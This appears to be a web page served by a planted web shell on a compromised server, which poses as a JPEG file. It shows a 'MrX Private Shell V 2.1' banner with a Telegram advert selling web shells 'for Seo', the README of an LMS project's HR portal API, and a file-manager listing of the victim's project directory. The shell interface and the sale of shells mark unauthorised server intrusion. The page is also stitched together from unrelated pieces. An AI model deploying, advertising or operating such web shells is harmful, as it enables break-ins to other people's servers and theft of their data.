����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# HR Portal Module This module implements the HR Portal backend functionality for the LMS system. It provides APIs for managing staff, students, leave applications, attendance, departments, and documents. ## Features ### Dashboard - Summary data including total staff, recent joins, and leave statistics - Staff analytics grouped by department and role - Leave analytics by type and status ### Staff Management - List, create, read, update, delete staff members - Assign staff to departments - Track joining and leaving dates ### Student Management - List, create, read, update, delete students - Assign students to classes - Promote students to next classes - Track student enrollment history ### Leave Management - Apply for leave by staff and students - Approve/reject leave applications - View leave calendar - Manage leave quotas (individually or in bulk) - Track leave history and status ### Attendance - Manual attendance tracking for staff - Daily attendance logs - Generate attendance summaries by user, date, or department - Calculate total hours worked ### Department Management - Create and manage academic and administrative departments - Assign department heads - Add/remove department members - Track department statistics ### Document Management - Upload and manage staff and student documents - Track document expiry dates - Verify documents - Generate alerts for expiring documents ## API Endpoints ### Dashboard - `GET /hr/dashboard/summary` - Get overall HR dashboard summary - `GET /hr/dashboard/staff-analytics` - Get staff distribution analytics - `GET /hr/dashboard/leave-analytics` - Get leave distribution analytics ### Staff Management - `GET /hr/staff` - Get list of staff with filters and pagination - `POST /hr/staff` - Create a new staff member - `GET /hr/staff/:id` - Get staff member details - `PUT /hr/staff/:id` - Update staff member details - `DELETE /hr/staff/:id` - Delete a staff member ### Student Management - `GET /hr/students` - Get list of students with filters and pagination - `POST /hr/students` - Create a new student - `GET /hr/students/:id` - Get student details - `PUT /hr/students/:id` - Update student details - `DELETE /hr/students/:id` - Delete a student - `POST /hr/students/:id/assign-class` - Assign student to a class - `POST /hr/students/:id/promote` - Promote student to next class ### Leave Management - `GET /hr/leave` - Get list of leave applications - `POST /hr/leave` - Apply for leave - `GET /hr/leave/:id` - Get leave application details - `PUT /hr/leave/:id/process` - Approve or reject a leave application - `DELETE /hr/leave/:id` - Cancel a leave application - `GET /hr/leave-quota` - Get leave quota for a user - `PUT /hr/leave-quota` - Update leave quota for a user - `POST /hr/leave-quota/bulk` - Update leave quota for multiple users - `GET /hr/leave-calendar` - Get leave calendar data ### Attendance Management - `GET /hr/attendance` - Get list of attendance records - `POST /hr/attendance` - Mark attendance for a staff member - `POST /hr/attendance/bulk` - Mark attendance for multiple staff members - `GET /hr/attendance/summary` - Get attendance summary with various groupings - `DELETE /hr/attendance/:id` - Delete an attendance record ### Department Management - `GET /hr/departments` - Get list of departments - `POST /hr/departments` - Create a new department - `GET /hr/departments/:id` - Get department details - `PUT /hr/departments/:id` - Update department details - `DELETE /hr/departments/:id` - Delete a department - `POST /hr/departments/:id/members` - Add members to a department - `DELETE /hr/departments/:departmentId/members/:userId` - Remove member from department - `GET /hr/department-stats` - Get department statistics ### Document Management - `GET /hr/documents` - Get list of documents with filters - `POST /hr/documents` - Upload a new document - `GET /hr/documents/:id` - Get document details - `PUT /hr/documents/:id` - Update document details - `PUT /hr/documents/:id/verify` - Verify a document - `DELETE /hr/documents/:id` - Delete a document - `GET /hr/expiring-documents` - Get documents expiring soon - `GET /hr/user-documents/:userId` - Get all documents for a specific user ## Authentication and Authorization All HR Portal endpoints are protected by the `adminAuth` middleware which verifies that the request is coming from an authenticated admin user with a valid JWT token. ## Models The HR Portal uses the following MongoDB models: - `User` - For staff and student data - `Department` - For department management - `Leave` - For leave applications - `LeaveQuota` - For tracking leave balances - `StaffAttendance` - For tracking staff attendance - `Document` - For managing staff and student documents - `StudentEnrollment` - For tracking student class assignments - `Class` - For class information (referenced from `StudentEnrollment`) ## Implementation Notes - File upload functionality in `documentController.js` is mocked. In a production environment, implement file upload using a library like Multer. - The HR Portal is designed to work alongside the existing Admin, Teacher, and User modules in the LMS system.
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| config | Folder | 0755 |
|
|
| controllers | Folder | 0755 |
|
|
| middlewares | Folder | 0755 |
|
|
| models | Folder | 0755 |
|
|
| node_modules | Folder | 0755 |
|
|
| routes | Folder | 0755 |
|
|
| service | Folder | 0755 |
|
|
| tmp | Folder | 0755 |
|
|
| uploads | Folder | 0755 |
|
|
| utils | Folder | 0755 |
|
|
| validations | Folder | 0755 |
|
|
| .htaccess | File | 1011 B | 0644 |
|
| README_ADMIN.md | File | 3.3 KB | 0644 |
|
| README_AUTH.md | File | 3.13 KB | 0644 |
|
| README_HR.md | File | 5.05 KB | 0644 |
|
| README_TEACHER.md | File | 3.53 KB | 0644 |
|
| package-lock.json | File | 118.83 KB | 0644 |
|
| package.json | File | 573 B | 0644 |
|
| server.js | File | 2.14 KB | 0644 |
|
| stderr.log | File | 95.22 KB | 0644 |
|
| teacher portal.pdf | File | 4.14 MB | 0644 |
|
| vercel.json | File | 185 B | 0644 |
|